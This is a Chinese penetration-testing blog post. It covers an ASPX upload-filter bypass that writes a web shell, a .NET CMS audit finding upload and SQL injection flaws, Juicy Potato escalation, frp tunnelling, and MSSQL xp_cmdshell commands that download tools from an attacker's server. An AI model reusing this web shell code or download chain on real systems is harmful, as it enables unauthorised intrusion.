一次项目渗透实战

一次项目渗透实战

19年的某次项目,回顾时候放出来做博客文章。

1. 后台getshell绕过

存在某处上传

这里发现上传任意文件,但是会检测文件内容,上传的不能带有eval。带有就会返回为空,不提交。

大致思路可以有:写一个文件保存的aspx,然后去访问,就可以再根目录生成一个aspx文件。不过这里很蛋疼,这个同样会检测,如果你代码里面写了eval,就会失败。这里我把eval做了一个数组,然后提交

代码如下:

<%@ WebHandler Language="C#" class="Handler" %>  
eval  
using System;  
using System.Web;  
using System.IO;  
public class Handler : IHttpHandler {  
public void ProcessRequest (HttpContext context) {  
context.Response.ContentType = "text/plain";  
char[] letters = { 'e', 'v', 'a', 'l'}; //弄了一个数组,来防止检测eval  
string st = "@ ";  
string ssa = "<%";  
string bb = "Page Language=\\"Jscript\\"%><%";  
string aa = new string(letters);  
string zcz = "(Request.Item[\\"chopper\\"],\\"unsafe\\");%>";  
string payload = ssa+st+bb+aa+zcz; //做了拼接  
StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));  
file1.Write(payload);  
file1.Flush();  
file1.Close();  
}  
public bool IsReusable {  
get {  
return false;  
}  
}  
}

上传成功。进入之后,权限很低,仅仅是iis用户

2. NET审计

得到shell权限之后,我分析了一波他的网站源码。
.NET core的反编译可以使用dnSpy 和 ILSpy 两个都可以
先来了解一下.NET的MVC模式

.NET的MVC路由配置

我有一个Products的请求,然后将它映射到相关的控制器,由控制器去构建Model,Model返回给控制器相关数据,控制器就将这些数据渲染给View,最终返回一个html页面给用户。
而这里要讲的路由就是,怎么把HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上
路由分两种 一种是Conventional Routing 按约定配置路由

app.UseMvcWithDefaultRoute();  //使用默认路由,

等价于下面这种自定义路由

app.UseMvc(routes =>
{
   routes.MapRoute("default", "{controller=Home}/{action=Index}/{id?}");
});  //自定义路由,如果Http请求没有控制器,就自动找Home,没有方法就自动找Index

Http请求  /                     ->->  HomeController下的Index action
         /computer/index       ->->  computerController下的Index action

第二种是Attribute Routing 特性路由(webapi)

例子,现在有一个controllers名为about,其有两个方法me和company
namespace Tutorial.Web.Controllers
{
    [Route("about")]    //这种就是。Controller级别的.想访问这个About控制器,路径必须以about开始
    // [Route("[Controller]/[action]")]  或者直接这样子
    public class AboutController
    {
      //  假设我想直接输入/About  就能访问me 就把Route留空。
        [Route(" ")]
        public string Me()
            
        {
            return "HH";
        }
        [Route("Company")]   //匹配Company
        public string Company()
        {
            return "AA";
        }
    }
}

? 将一个路由参数标记为 可选参数
[Route("api/product/{id:int}")]   将id参数绑定为int类型
[HttpPost]
[Route("api/product/{id}")]   标记为post类型    

审计过程

这个程序我一步一步来说我的思路,毕竟我才入门.NET ,可能有一点不准确。还请指出我存在的错误。
首先我要弄懂的是这个CMS是怎么去访问的,怎么映射到相关方法,权限控制哪些能访问的。
在.NET中,上面说的路由,是HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上。但是在映射之前,你需要指定程序去服务才行。
web.config默认配置就有说明,怎么去服务请求的.
这是manager的配置,可以看到访问/API/ 就把请求给webapihandle去服务

这是webapihandle的文件内容


实现了一个一般处理程序处理过程(HttpHandler),来响应我们的http请求。
然后接受我们的参数,通过反射的方法调用其它dll中的类和方法

加载dll文件

通过HTTP请求来访问加载dll文件的方法和属性.例如。

http://localhost/API/SystemUser/Create/ 返回:[0]:API,[1]:SystemUser,[2]:Create</example>

requestObject是加载方法,而parametValues是方法所需要的参数。然后调用该方法和类,传参,如果请求成功则返回json数组,请求失败则用自定义的json数组

这里我觉得需要注意的,它请求的类名都是以API结尾的,所有我们就能解释后面访问为什么不需要加上API。

下面这一块我尝试理解了一下,这里应该是一个改写的Route,它大概实现了对路由的控制功能,这里分三种情况

  • [WebAPI(false)] 不用判断登入状态
  • [WebAPI("xxx.Access")] 判断登入状态且判断用户权限
  • [WebAPI] 单单判断登入状态


我们没有登入的方法,所以需要去找那些不需要登入的方法。
大概说了一下我怎么去看这个cms的,下面漏洞发现过程就不一一细说了。我是一个一个方法去看,只看我能访问的。

审计结果

找了以下几个漏洞。
一处上传漏洞

一处sql注入,很明显了。直接拼接code,没有做任何处理。

一处上传漏洞,直接把文件后缀当作保存文件后缀,没自定义

image-20210317222911926image-20210317222911926

又一处sql注入漏洞,带报错的
image-20210317222920955image-20210317222920955

3.烂土豆提权

偶然发现这个烂土豆,windows的一个本地特权提升工具。

image-20210317222930417image-20210317222930417

光提权没用,想登入3389得做映射。这里我用了frp来端口映射。

image-20210317222938424image-20210317222938424

frpc -c frpc.ini
OK!
image-20210317222947760image-20210317222947760

4.Mssql提权

刚好之前找到了一个mssql的数据库可以外连。

阿里云的,,服务器。

试试能不能开启mssql的命令执行

MSSQL开启命令执行

exec sp_configure 'show advanced options',1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure;

exec master.dbo.xp_cmdshell 'whoami';

我日,有戏。

这里我就一个命令执行,新加用户也没有权限,而且只开了1433.。。

我就想,之前用烂土豆把用户给增加了,这台机器也是2012的,说不定有戏

先把烂土豆上传上去,把烂土豆放在外网服务器上,然后用powershell下载

exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''http://你的服务器地址/JuicyPotato.exe'',''C:\Users\MSSQLSERVER\Downloads\123.exe'')"';

成功!!

因为也没开3389,继续用frp映射出来

exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.exe'',''C:\Users\MSSQLSERVER\Downloads\frpc.exe'')"';

exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.ini'',''C:\Users\MSSQLSERVER\Downloads\frpc.ini'')"';

评论已关闭